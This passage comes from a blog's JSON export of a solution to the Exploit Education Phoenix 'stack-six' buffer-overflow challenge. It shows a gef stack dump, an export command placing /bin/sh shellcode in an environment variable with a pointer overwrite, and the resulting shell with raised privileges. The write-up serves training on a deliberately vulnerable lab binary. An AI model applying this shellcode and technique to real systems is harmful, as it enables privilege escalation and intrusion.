0x0000000000000001\r\n0x00007fffffffe540\u2502+0x0040 0x4141414141414141\r\n0x00007fffffffe548\u2502+0x0048 0x00007ffff7ffb300\r\n0x00007fffffffe550\u2502+0x0050 0x0000000000000000\r\n0x00007fffffffe558\u2502+0x0058 0x0000000000600c00\r\n0x00007fffffffe560\u2502+0x0060 0x000000000040079b\r\n0x00007fffffffe568\u2502+0x0068 0x0000000000000000\r\n0x00007fffffffe570\u2502+0x0070 0x0000000000000000\r\n0x00007fffffffe578\u2502+0x0078 0x00007ffff7db6b1e\r\n0x00007fffffffe580\u2502+0x0080 0x00007ffff7ffb300\r\n0x00007fffffffe588\u2502+0x0088 0x0a00000000000000\r\n0x00007fffffffe590\u2502+0x0090 0x00007ffff7ffb300\r\n0x00007fffffffe598\u2502+0x0098 0x00007ffff7db9934\r\n0x00007fffffffe5a0\u2502+0x00a0 0x4141414141414141\r\n0x00007fffffffe5a8\u2502+0x00a8 0x00007fffffffe541\r\n0x00007fffffffe5b0\u2502+0x00b0 0x00007fffffffe648\r\n0x00007fffffffe5b8\u2502+0x00b8 0x00000000004007f1\r\n0x00007fffffffe5c0\u2502+0x00c0 0x00007fffffffe638\r\n0x00007fffffffe5c8\u2502+0x00c8 0x00000001ffffe648\r\n0x00007fffffffe5d0\u2502+0x00d0 0x000000000040079b\r\n0x00007fffffffe5d8\u2502+0x00d8 0x00007fffffffef10\r\n0x00007fffffffe5e0\u2502+0x00e0 0x0000000000000001\r\n0x00007fffffffe5e8\u2502+0x00e8 0x00007ffff7d8fd62\r\n0x00007fffffffe5f0\u2502+0x00f0 0x0000000000000000\r\n0x00007fffffffe5f8\u2502+0x00f8 0x00007fffffffe630\r\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 threads \u2500\u2500\u2500\u2500\r\n[#0] Id 1, Name: "stack-six", stopped, reason: BREAKPOINT\r\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 trace \u2500\u2500\u2500\u2500\r\n[#0] 0x4007f7 \u2192 main()\r\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\r\n\r\ngef> x\/s 0x00007fffffffef10\r\n0x7fffffffef10: 'A' <repeats 127 times><\/pre>\n
Here, we can easily scan the memory for a pointer to use. I’m looking for something pointing to the environment variables, so between 0x7fffffffe86a and 0x7fffffffeff8. I’ve highlighted one that looks promising. My ExploitEducation<\/strong> variable starts at 0x7fffffffeeff, so I examined the string there. Lo & behold, it points right to the start of the content of the variable! This couldn’t be a better location. Next, I’ll set the ExploitEducation<\/strong> variable again, but with shellcode at the beginning. The shellcode I got from http:\/\/shell-storm.org\/shellcode\/files\/shellcode-603.php<\/a>. And we’ll need to set the saved base pointer to 0x00007fffffffe5d0.<\/p>\n
user@phoenix-amd64:~$ export ExploitEducation=$(python -c 'print "\\x48\\x31\\xd2\\x48\\xbb\\x2f\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x48\\xc1\\xeb\\x08\\x53\\x48\\x89\\xe7\\x50\\x57\\x48\\x89\\xe6\\xb0\\x3b\\x0f\\x05" + "A"*96 + "\\xd0"')\r\n\r\nuser@phoenix-amd64:~$ \/opt\/phoenix\/amd64\/stack-six \r\nWelcome to phoenix\/stack-six, brought to you by https:\/\/exploit.education\r\nWelcome, I am pleased to meet you H1\ufffdH\ufffd\/\/bin\/shH\ufffdSH\ufffd\ufffdPWH\ufffd\ufffd\ufffd;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\ufffd\ufffd\ufffd\ufffd\ufffd\r\n\r\n$ id\r\nuid=1000(user) gid=1000(user) euid=406(phoenix-amd64-stack-six) egid=406(phoenix-amd64-stack-six) groups=406(phoenix-amd64-stack-six),27(sudo),1000(user)<\/pre>\n
Great success!.<\/p>\n","protected":false},"excerpt":{"rendered":"
Where does Stack Six go wrong, and what can you do with it? … Continue readingExploit Education | Phoenix | Stack Six Solution<\/span><\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[],"class_list":["post-447","post","type-post","status-publish","format-standard","hentry","category-solutions"],"_links":{"self":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/447","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/comments?post=447"}],"version-history":[{"count":53,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/447\/revisions"}],"predecessor-version":[{"id":1042,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/447\/revisions\/1042"}],"wp:attachment":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/media?parent=447"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/categories?post=447"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/tags?post=447"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}